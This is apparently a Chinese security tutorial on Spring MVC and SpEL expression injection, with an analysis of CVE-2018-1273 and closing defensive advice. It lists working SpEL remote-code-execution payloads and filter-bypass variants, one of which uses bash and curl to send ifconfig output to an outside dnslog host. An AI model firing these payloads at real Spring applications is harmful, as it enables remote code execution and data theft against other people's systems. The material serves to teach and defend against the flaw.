Spring MVC框架安全浅析
字数 2061 2025-08-25 22:59:10
Spring MVC框架安全分析与SpEL注入漏洞研究
1. Spring框架概述
Spring是目前Java应用最广泛的框架之一,是一个拥有IoC(控制反转)和AOP(面向切面编程)优秀机制的容器框架。Spring MVC是Spring提供给Web开发的框架设计。
1.1 Spring MVC实现逻辑
- DispatcherServlet:统一处理、分发所有请求
- HandlerMapping:定位处理请求的控制器(Controller)
- Controller:处理用户请求后返回ModelAndView对象给DispatcherServlet
2. Spring MVC基础应用
2.1 控制器(Controller)示例
package t4rrega.spring;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
@RequestMapping("/test")
public class TestController {
@RequestMapping("/index")
public String test(String input) {
return "/WEB-INF/t4rrega/test.jsp";
}
}
@RequestMapping:处理请求地址映射,可用于类或方法- 类级别路径为父路径,方法级别路径为子路径
- 完整访问路径:父路径+方法路径 = /test/index
2.2 模型(Model)向视图(View)传值
@RequestMapping("/index")
public String test(Model model) {
model.addAttribute("id", "t4rrega");
return "/WEB-INF/t4rrega/test.jsp";
}
在JSP中使用${id}获取值
2.3 获取URL参数
@RequestMapping("/index")
public String test(String name, Model model) {
model.addAttribute("name", name);
return "/WEB-INF/t4rrega/test.jsp";
}
3. SpEL(Spring Expression Language)详解
3.1 SpEL基础语法
- 定界符:
#{}(EL使用${}) - 引用对象:
#{person} - 引用对象属性:
#{person.name} - 调用对象方法:
#{person.toString()}
3.2 T()运算符
调用作用域的方法和常量,例如:
T(java.lang.Runtime):返回java.lang.Runtime对象T(java.lang.Math).PI:获取PI值
3.3 SpEL定义方式
3.3.1 XML配置
<bean id="Calc" class="org.spring.samples.Calc">
<property name="Calc" value="#{T(java.lang.Runtime).getRuntime().exec('/system/Applications/Calculator.app/Contents/MacOS/Calculator')}"/>
</bean>
3.3.2 注解配置
public class EmailSender {
@Value("${spring.mail.personname}")
private String personname;
@Value("#{systemProperties['person.region']}")
private String Locale;
}
3.4 SpEL高级用法
3.4.1 Class Expression
-
new:实例化对象
new java.lang.ProcessBuilder("/system/Applications/Calculator.app/Contents/MacOS/Calculator").start() -
T():
T(java.lang.Runtime).getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")
3.4.2 Bean引用
如果已配置上下文,可通过@从表中查找JavaBean
3.4.3 变量引用
#variableName:引用变量#root:引用根对象#this:引用上下文对象
3.4.4 用户自定义函数
通过StandardEvaluationContext#registerFunction()注册自定义方法
4. SpEL注入漏洞
Java在不指定EvaluationContext的情况下默认使用StandardEvaluationContext,它包含SpEL所有功能,未过滤输入可能导致任意命令执行。
4.1 常见Payload
-
new对象:
new java.lang.ProcessBuilder("/system/Applications/Calculator.app/Contents/MacOS/Calculator").start() -
反射:
this.getClass().forName("java.lang.Runtime").getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator") -
T()运算:
T(java.lang.Runtime).getRuntime().exec("open -a Calculator.app")
4.2 绕过技术
-
String类动态生成字符:
T(java.lang.Runtime).getRuntime().exec( T(java.lang.Character).toString(111).concat(T(java.lang.Character).toString(112))... )或
new java.lang.String(new byte[]{111,112,...}) -
反射异变:
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime") .getMethod("ex"+"ec",T(String[])) .invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime") .getMethod("getRu"+"ntime").invoke(T(String).getClass() .forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl test.ww4ply.dnslog.cn/`ifconfig"})}
5. Spring Data Commons RCE(CVE-2018-1273)
5.1 影响版本
Spring Data Commons <= 2.0.5.RELEASE
5.2 漏洞分析
漏洞位于MapDataBinder#setPropertyValue()方法:
- 通过
isWritableProperty()校验propertyName参数是否为Controller设置的Form映射对象中的成员变量 - 调用
parseExpression()设置需要解析的表达式 - 通过
expression.setValue()完成表达式解析
绕过机制:
isWritableProperty()调用getPropertyPath()检测propertyName:
- 使用正则过滤包含方括号在内的特殊字符
- 判断剩余值是否为type里的属性(type是Controller接收参数的类)
因此可以通过在类的某个字段加上[xxx]构造恶意SpEL表达式实现注入。
最终Payload:
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator.app")
5.3 漏洞触发流程
ProxyingHandlerMethodArgumentResolver实例化- 调用
bind方法,将request.getParameterMap()作为参数 - 实例化
MapDataBinder对象
5.4 修复方案
将StandardEvaluationContext替换为SimpleEvaluationContext:
SimpleEvaluationContext权限更小- 不支持
java.lang.Runtime、java.lang.ProcessBuilder等危险类
6. 防御建议
- 升级到安全版本
- 避免使用
StandardEvaluationContext,改用SimpleEvaluationContext - 对用户输入进行严格过滤和验证
- 最小化表达式解析权限
- 使用白名单机制限制可解析的类和函数
7. 总结
Spring框架的SpEL表达式功能强大但存在安全风险,开发者需要:
- 理解SpEL工作机制
- 认识表达式注入的危害
- 掌握安全配置方法
- 保持框架版本更新
- 实施纵深防御策略